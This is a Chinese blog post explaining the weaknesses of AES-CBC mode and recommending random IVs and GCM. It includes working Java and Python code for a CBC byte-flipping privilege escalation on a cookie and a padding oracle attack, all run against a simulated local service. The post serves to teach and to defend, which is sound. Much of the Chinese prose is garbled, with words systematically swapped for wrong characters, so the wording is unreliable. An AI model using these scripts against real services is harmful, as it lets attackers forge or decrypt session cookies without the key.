关于aes:密码学为什么不推荐在对称加密中使用CBC工作模式

24次阅读

共计 11360 个字符,预计需要花费 29 分钟才能阅读完成。

引言

这篇文章是我在公司外部分享中一部分内容的具体版本,如题目所言,我会通过文字、代码示例、带你残缺的搞懂为什么咱们不倡议你应用 cbc 加密模式,用了会导致什么平安问题,即便肯定要用须要留神哪些方面的内容。

注:本文仅从平安角度登程,未思考性能与兼容性等因素

工作模式是个啥

分组加密的工作模式与具体的分组加密算法没有关系,所以只有应用了 cbc 模式,不限于 AES、DES、3DES 等算法都一样存在问题。

AES-128-CBC 为例,能够屏蔽 AES 算法的外部实现,把 AES 算法当作一个黑盒,输出明文和密钥返回密文。

因为是分组加密算法,所以对于长的明文,须要依照算法约定的块大小进行分组,AES 每一组为 16B,不同组之间应用雷同的密钥进行计算的话,会产生一些平安问题,所以为了将分组明码利用到不同的理论利用,NIST 定义了若干的工作模式,不同模式对分块的加密解决逻辑会不同,常见的工作模式有:

模式 形容
ECB(电码本) 雷同的密钥分队明文分组进行加密
CBC(分组链接) 加密算法的输出是上一个密文组和以后明文组的异或
CFB(密文反馈) 一次解决 s 位,上一块密文作为下一块加密算法输出,产生伪随机数与明文异或或作为下一单元的密文
OFB(输入反馈) 相似 CFB,仅加密算法的输出是上一次加密的输入,且应用整个分组
CTR(技数器) 每个明文分组都与一个通过加密的计数器相异或。对每个后续分组计数器递增

ECB 模式最为简略,假如存在明文分组 a、b、c、d 每个分组别离在雷同密钥 k 进行 aes 加密后的密文为 A、B、C、D,最终明文 abcd 对应的密文为 ABCD,如图所示:

ECB 模式很简略可能从性能角度讲十分占优,因为分组之间没有关联,能够独立并行计算。但从平安角度来看这种间接将密文分组进行拼接的形式,很可能会被攻击者猜解出明文特色或替换抛弃局部密文块达到明文的替换与截取成果,以下的图十分清晰:

<img src=”https://9eek-1251521991.cos.ap-chengdu.myqcloud.com/article/img/20230302102403.png” alt=”image-20230302102403380″ style=”zoom:67%;” />

所以很容易了解 ECB 也不是举荐应用的工作模式。

CBC

有了 ECB 的前事不忘; 后事之师,CBC(Cipher Block Chaining)模式就提出将明文分组先于一个随机值分组 IV 进行异或且本组的密文又与下一组的明文进行异或的形式,这种形式减少了密文的随机性,防止了 ECB 的问题,具体过程见图:

加密过程🔐

解释下这个图,存在明文分组 a、b、c、d,cbc 工作模式是存在执行程序的,即第一个密文分组计算后能力计算第二个分组,第一个明文分组在加密前明文 a 须要和一个初始分组 IV 进行异或运算 即 a^IV,而后再用密钥 K 进行规范的 AES 加密,E(a^IV,K) 失去第一组的密文分组 A,密文分组 A 会参加第二组密文的计算,计算过程相似,只不过第二次需将 IV 替换为 A,如此循环,最初失去的密文 ABCD 即为 CBC 模式。

解密过程

仔细观察 CBC 的加密过程,须要应用到一个随机分组 IV,在规范的加密过程中,IV 会被拼接到密文分组中去,假如存在两人甲和乙,甲方给到乙方的密文理论是 (IV)ABCD,乙在拿到密文后提取 IV,而后进行下图的解密:

解密过程就是加密过程转变了下方向,注意两个图从 abcd 到 ABCD 的箭头方向。第一个密文分组先进行 AES 解密,失去的两头值咱们计为 M_A,M_A 再于初始向量 IV 进行异或失去 a,第二个分组反复同样的动作,还是将 IV 替换为密文分组 A,最终可失去明文分组 abcd。

CBC 有什么问题

CBC 减少了随机变量 IV 给密文减少了随机性,增大了密文剖析的难度是不是就平安了呢?答案当然是不,CBC 又引入了新的问题——能够通过扭转密文从而扭转明文。

CBC 字节翻转攻打

原理解说

CBC 字节翻转攻打原理非常简单,如图所示:

攻打往往产生在解密过程,黑客通过管制 IV 和密文分组能够达到批改明文的目标,图中黑客通过替换密文 D 分组为 E 分组能够篡改本来明文 d 为 x(可能会波及填充验证,这里先不论),或者同样的情理黑客能够通过管制 IV 达到批改明文分组 a 的目标。

举个例子🌰

接下来用一个理论例子来演示其原理及危害。

为了保障不便进行原理解说,在加密时会将 IV 和 key 写死,防止每次运行的后果不一样。

假如存在一个 web 服务利用,前后端通过 Cookie 来进行权限校验,cookie 的内容为明文 admin:0 进行 AES-128-CBC 加密后的密文进行 base64 编码,数字 0 代表此时用户的权限为非管理员用户,当 admin 前面的数字为 1 时,后端会认为是一名管理员用户。

Cookie 内容为:AAAAAAAAAAAAAAAAAAAAAJyycJTyrCtpsXM3jT1uVKU=

此时黑客在晓得校验原理的状况下可利用字节翻转攻打对此服务发动攻打,在不晓得密钥的状况下将 cookie 明文批改为admin:1,具体过程:

AES 以 16B 作为 block size 进行分块,admin:0在 ascii 编码下对应的二进制仅为 7B,所以在加密时还会对原始明文进行填充直到刚好为 16B 的整数倍,所以还须要填充 9B(填充细节上面再讲),因为 CBC 还会有 IV,所以最终的密文是 IV+Cipher,IV16B,cipher16B,总共 32B,这里因为只有一个密文分块,所以扭转 IV 的第 7 个字节对应明文 admin:0 数字的地位,或者密文的第 7 个字节即可扭转明文数字局部的字段,通过一直的尝试,咱们将本来密文 IV 分组 00改为01, 即可胜利翻转明文为 1,即 cookie 明文变为admin:1,从而达到权限晋升的目标。

残缺代码:

package com.example.springshiroproject;

import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.security.Key;
import java.util.Arrays;

public class MyTest {public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {AesCipherService aesCipherService = new AesCipherService();
        // 写死密钥
        byte[] key = new byte[128/8];
        Arrays.fill(key,(byte) '\0');  // 写死的密钥,客户端及黑客未知
        String plainText = "admin:0";  // cookie 明文内容

        byte[] plainTextBytes = plainText.getBytes();

        // 写死 IV
        byte[] iv_bytes = new byte[128/8];
        Arrays.fill(iv_bytes, (byte) '\0');
//
//      // 通过反射调用能够自定义 IV 的 AES-128-cbc 加密办法(原办法为 private)Method encryptWithIV =  aesCipherService.getClass().getSuperclass().getSuperclass().getSuperclass().getDeclaredMethod("encrypt",new Class[]{byte[].class, byte[].class,byte[].class,boolean.class});
        encryptWithIV.setAccessible(true);
        ByteSource cipherWithIV = (ByteSource) encryptWithIV.invoke(aesCipherService,new Object[]{plainTextBytes, key,iv_bytes,true});
        System.out.println("明文:" + ByteSource.Util.bytes(plainTextBytes).toHex());

        // 失常逻辑解密
        byte[] cipher = cipherWithIV.getBytes();
        System.out.println("原始密文:" + cipherWithIV.toHex());
        System.out.println("Cookie 内容:" + cipherWithIV.toBase64());

        ByteSource decPlain = aesCipherService.decrypt(cipher, key);
        System.out.println("原始解密后明文:" + new String(decPlain.getBytes()));

        // 字节翻转攻打
        cipher[6] = (byte)0x01;
        System.out.println("翻转后的密文:" + ByteSource.Util.bytes(cipher).toHex());
        System.out.println("翻转后的 cookie:"+ ByteSource.Util.bytes(cipher).toBase64());
        decPlain = aesCipherService.decrypt(cipher, key);
        System.out.println("翻转解密后明文:" + new String(decPlain.getBytes()));
    }
}

这个例子只讲了一个分块的状况,在理论的场景中可能波及多个分块,而多个分块进行尝试扭转一个密文分组理论会影响两个明文分组,要求一直在雷同地位的向前的密文分组进行变换猜想,十分耗时。

所以为了更不便的利用,攻击者发现利用解密程序端会对填充规定进行验证,验证不通过会抛出异样,相似 sql 注入盲注一样,给攻击者提供了更多的信息不便了破绽的利用。

填充类型

因为会波及到对填充规定的利用,所以有必要专门介绍下支流的填充类型:

填充类型 形容
NoPadding 没有填充
PKCS#5 固定分块 size 为 8B
PKCS#7 分块 size 可为 1~255
ISO 10126 最初一个字节填充须要填充的长度,剩下的随机填充
ANSI X9.23 最初一个字节填充须要填充的长度,剩下的补 0 填充
ZerosPadding 填充 \x00

这里着重讲一下 PKCS#5PKCS#7, 我发现很多平安人员写的文章对于这两种填充模式的形容是有问题的,比方:

其实不论 pkcs#5 还是 pkcs#7 填充的内容都是须要填充的字节数这个数二进制自身,pkcs#5 是依照 8B 为规范分块进行填充,pkcs#7是能够不固定 1~255 都行,只不过依照 AES 的 RFC 约定,blocksize 固定为 16B,所以在 AES 调用外面 pkcs#5pkcs#7是没啥区别的。

举个例子,如果存在明文helloworld,明文自身为英文,依照 ascii 每个字符占用 1B,明文长度为10B,还需填充6B,填充内容为\x06,最终分块内容为:helloworld\x06\x06\x06\x06\x06\x06.

在解密时,服务端会对内容做如下校验:

  1. 获取解密后的明文数据。
  2. 获取明文数据的最初一个字节的值。
  3. 查看最初一个字节的值是否在无效填充范畴内。

    • 如果最初一个字节的值小于等于明文数据的长度,则判断为填充数据。
    • 如果最初一个字节的值大于明文数据的长度,则判断为无填充数据。
    • 如果最初一个字节的值超出填充范畴(大于块大小),则数据可能被篡改或存在其余异样。
  4. 如果存在填充,则依据填充的字节数,截取明文数据,去除填充局部。

Padding oracle attack

padding oracle 攻打利用的是篡改密文分组最初的填充字节引发服务端报错进而可预测出明文或生成新的密文的攻击方式,所以这里的 oracle 是预测的意思,非咱们相熟的 java 母公司甲骨文。

例子🌰

假如咱们收到了一串通过 AES-128-CBC 加密的密文,密文内容为:

000000000000000000000000000000009cb27094f2ac2b69b173378d3d6e54a5

后面 16B 全是 0 的局部是写死的 IV, 前面才是真正的密文。温习下解密过程

  1. 密文 cipher 首先会在密钥 K 的作用下生成两头值 M
  2. 两头值 M 再于初始向量 IV 异或失去明文 plain text.

表中标黄的就是攻击者可控的内容,如果仅翻转字节只能扭转明文内容,但咱们无奈确切得悉明文的具体内容,所以 padding oracle 就退场了,失常的业务逻辑在解密时会对明文内容做判断,如果解密内容正确可能会返回 200,解密明文谬误返回 403,但如果毁坏密文程序对填充验证出错可能会导致程序出错进而产生 500 谬误。

攻击者会利用 500 谬误来循环判断猜解的两头值是否正确。

猜解出两头值后再与已知的 IV 进行异或就能失去明文。

攻打流程

猜解两头值

还是以刚刚的例子来做测试,咱们尝试猜解最初一位两头值,将 IV 从 00-ff 进行暴力验证直到程序不报错,失去 iv[15]0x08 时没有报填充谬误,证实这个时候篡改后的明文最初一位应该为0x01,将明文和 IV 进行异或,可得两头值为0x08^0x01 = 0x09,表中红色局部:

再进行第二步,猜解倒数第二位,猜解倒数第二位须要满足篡改后的明文后两位都为 0x02,因为最初一位都两头值曾经得出了为 0x09 所以,最初一位的 iv 为:0x09^0x02 = 0x0B, 循环 iv 倒数第二位从 00~ff. 失去 IV 值为0x0B 时,程序不报错,所以两头值为0x02^0x0B=0x09

一直反复这个过程,直到所有的两头值都被猜解进去。

获取明文

此时,咱们就能够在不晓得密钥的状况下,依据两头值和 IV 揣测出明文M^IV=P(M 为两头值,IV 为初始向量、P 为明文)。

因为咱们将 iv 写死为 00,所以明文就是 M 对应的 ASCII 值,也就是:

admin:0\09\09\09\09\09\09\09\09\09

09 为填充内容,字节去掉失去最终明文:admin:0

对应的代码(Java):

package com.example.springshiroproject;

import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.crypto.CryptoException;
import org.apache.shiro.util.ByteSource;

import javax.crypto.BadPaddingException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.security.Key;
import java.util.Arrays;

public class MyTest {public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
        int blockSize = 16;
        AesCipherService aesCipherService = new AesCipherService();
        // 写死密钥
        byte[] key = new byte[128/8];
        Arrays.fill(key,(byte) '\0');  // 写死的密钥,客户端及黑客未知
        String plainText = "admin:0";  // cookie 明文内容

        byte[] plainTextBytes = plainText.getBytes();


        byte[] iv_bytes = new byte[128/8];
        Arrays.fill(iv_bytes, (byte) '\0');
//
//      // 通过反射调用能够自定义 IV 的 AES-128-cbc 加密办法
        Method encryptWithIV =  aesCipherService.getClass().getSuperclass().getSuperclass().getSuperclass().getDeclaredMethod("encrypt",new Class[]{byte[].class, byte[].class,byte[].class,boolean.class});
        encryptWithIV.setAccessible(true);
        ByteSource cipherWithIV = (ByteSource) encryptWithIV.invoke(aesCipherService,new Object[]{plainTextBytes, key,iv_bytes,true});
        System.out.println("明文:" + ByteSource.Util.bytes(plainTextBytes).toHex());


        byte[] cipher = cipherWithIV.getBytes();
//        System.out.println(cipher.length);
        System.arraycopy(cipher,0,iv_bytes,0,blockSize-1);
        System.out.println("原始密文:" + cipherWithIV.toHex());
        System.out.println("Cookie 内容:" + cipherWithIV.toBase64());

        ByteSource decPlain = aesCipherService.decrypt(cipher, key);
        System.out.println("原始解密后明文:" + new String(decPlain.getBytes()));
        System.out.println("开始尝试");
        decPlain = null;


        byte[] middleValue = new byte[blockSize];
        Arrays.fill(middleValue,(byte) 0x00);
        boolean flipFlag = false;
        for (int j=0; j<blockSize; j++){
            byte tmp;
            System.out.println("start"+ (j+1));
            if (j >0){for (int p=middleValue.length-1;p>middleValue.length-1-j;p--){tmp = (byte) (middleValue[p]^(j+1));
                    cipher[p] = tmp;
//                    System.out.println("此时的 tmp:" + tmp);
                }
                System.out.println("依据已知两头值填充 iv 的 cipher:" + ByteSource.Util.bytes(cipher).toHex());
            }else {System.out.println("初始填充");

            }
            tmp  = cipher[blockSize-j-1];
            for (int i=0x00; i<=0xff; i++){if (tmp == i){
//                    continue;
                    System.out.println("和原值统一跳过");
                    if (!flipFlag){
                        flipFlag = true;
                        continue;
                    }
                }

                cipher[blockSize-j-1] = (byte) i;
                try{decPlain = aesCipherService.decrypt(cipher, key);
                    tmp = (byte) (i ^ (j+1));
                    middleValue[blockSize-j-1] =tmp; // 保留两头值 M = IV ^ I
                    System.out.println("猜对了!倒数第" +(j+1) +"个 iv:" + i);
                    System.out.println("倒数第" +(j+1) +"个 M:" + tmp);
                    break;
                }catch (CryptoException e){if (i==0xff){System.out.print("没有跑进去");
                        System.exit(0);
                    }

                }

            }
        }
        System.out.println("猜解的两头值:" + ByteSource.Util.bytes(middleValue).toHex());
        byte[] attackPlain = new byte[blockSize];
        for (int i=0;i<attackPlain.length;i++){attackPlain[i] =(byte)(iv_bytes[i] ^middleValue[i]);
        }

        System.out.println("最终密文:" + ByteSource.Util.bytes(cipher).toHex());
        System.out.println("最终明文:" + ByteSource.Util.bytes(attackPlain).toHex());
        System.out.println("尝试完结");

        System.out.println("翻转解密后明文:" + new String(attackPlain));


    }
}

运行后果:

另外对应的 python 版本我也有写过, 如果你本人造轮子发现报错能够参考下我的代码:

破绽模仿环境:

from aes_manual import aes_manual

class PaddingOracleEnv:

    def __init__(self):
        self.key = aes_manual.get_key(16)

    def run(self):
        cipher = aes_manual.encrypt(self.key, "hello".encode())


    def login(self,cookie):
        try:
            text = aes_manual.decrypt(self.key, cookie)
            if text == b'hello':
                return 200  # 完全正确
            else:
                return 403  # 明文谬误
        except RuntimeError as e:
            return 500  # 填充验证失败


padding_oracle_env = PaddingOracleEnv()

if __name__ == '__main__':
    res = padding_oracle_env.login(b"1111111111111111R\xbb\x16^\xaf\xa8\x18Me.U\xaf\xfe\xb6\x99\xec")
    print(res)

攻打脚本:

import sys

from aes_manual import aes_manual
from padding_oracle_env import padding_oracle_env
from loguru import logger

class PaddingOracleAttack:

    def __init__(self):
        logger.remove()
        logger.add(sys.stderr,level="DEBUG")
        self.cipher_text_raw = b"1111111111111111R\xbb\x16^\xaf\xa8\x18Me.U\xaf\xfe\xb6\x99\xec"
        self.iv = aes_manual.get_iv(self.cipher_text_raw)
        self.cipher_content = aes_manual.get_cipher_content(self.cipher_text_raw)

    def single_byte_xor(self, A: bytes, B: bytes):
        """单字节异或操作"""
        assert len(A) == len(B) == 1
        return ord(A) ^ ord(B)

    def guess_last(self):
        """
        padding oracle
        :return:
        """
        c_l = len(self.cipher_content)
        M = bytearray()
        for j in range(1, c_l+1):  # 两头值位数
            for i in range(1, 256):  # 假 iv 爆破
                f_iv = b'\x00' * (c_l-j) + bytes([i])
                for m in M[::-1]:
                    f_iv += bytes([m ^ j])  # 利用上一步已知的 m 计算前面未知地位的 iv
                res = padding_oracle_env.login(f_iv + self.cipher_content)
                if res == 403:  # 填充正确的状况
                    M.append(i ^ j)
                    logger.info(f"{j} - {bytes([i])} - {i}")
                    break
        # logger.info(M)
        M = M[::-1]  # reverse
        logger.info(f"M({len(M)}):{M}")
        p = bytearray()
        for m_i, m in enumerate(M):
            p.append(m ^ self.iv[m_i])
        logger.info(f"破解明文为({len(p)}):{p}")

    def run(self):
        self.guess_last()

if __name__ == '__main__':

    attack = PaddingOracleAttack()
    attack.run()

其实也没必要反复造轮子,也有很多现成的工具,如:https://github.com/KishanBagaria/padding-oracle-attacker

总结

答复题目问题,正是因为 CBC 字节翻转、padding oracle attack 这些攻击方式的存在,所以在对传输机密性要求高的场景是不举荐应用 CBC 工作模式的,

此外我在谷歌、百度搜寻 python aes cbc 加密 关键词时呈现了很多误导性的文章:

而且文章排名前三,外面的示例代码居然间接将加解密密钥作为 IV,这么做有如下危险:

  1. 要晓得 IV 个别会拼接在密文的头部放在网络中传输,这种形式攻击者都不须要字节翻转那么简单的操作,间接取出 IV 解密即可
  2. 即便 IV 不作为密文一部分传输,应用雷同的 IV 进行加密会导致雷同的明文块产生雷同的密文块。攻击者能够通过观察密文的模式来推断出明文的一些信息,甚至进行其余模式的攻打,如抉择明文攻打。

为了确保安全性,应该生成随机且惟一的 IV,并将其与密文一起存储。常见的做法是每次加密生成一个新的 IV,并将其作为附加的密文数据一起传输或存储,以便解密时正确应用。这样能够防止可预测性攻打,并加强 AES CBC 模式的安全性

更举荐应用 GCM 作为加解密的工作模式,因为:

  1. 数据完整性和加密认证:GCM 模式提供了认证标签 (Authentication Tag) 的生成,用于验证密文的完整性和认证密文的起源。这能够帮忙检测任何对密文的篡改或伪造,并提供更强的数据完整性爱护。
  2. 随机性和不可预测性:GCM 模式应用计数器和密钥生成一个密钥流,这个密钥流与明文进行异或运算失去密文。这种异或运算的形式提供了更高的随机性和不可预测性,减少了密文的安全性。
  3. 并行加密和高性能:GCM 模式反对并行加密,能够同时解决多个数据块,进步加密和解密的速度和效率。这在解决大规模数据时十分有用。
  4. 抵制填充攻打:与一些块明码模式相比,GCM 模式不须要进行填充操作,因而不容易受到填充攻打等相干破绽的影响。

参考

  • https://paper.seebug.org/1123/
  • https://www.rfc-editor.org/rfc/rfc2630
  • https://xz.aliyun.com/t/11633
  • chatgpt

公众号

家人们,欢送关注我的公众号“硬核平安”,跟我一起学起来!

正文完
 0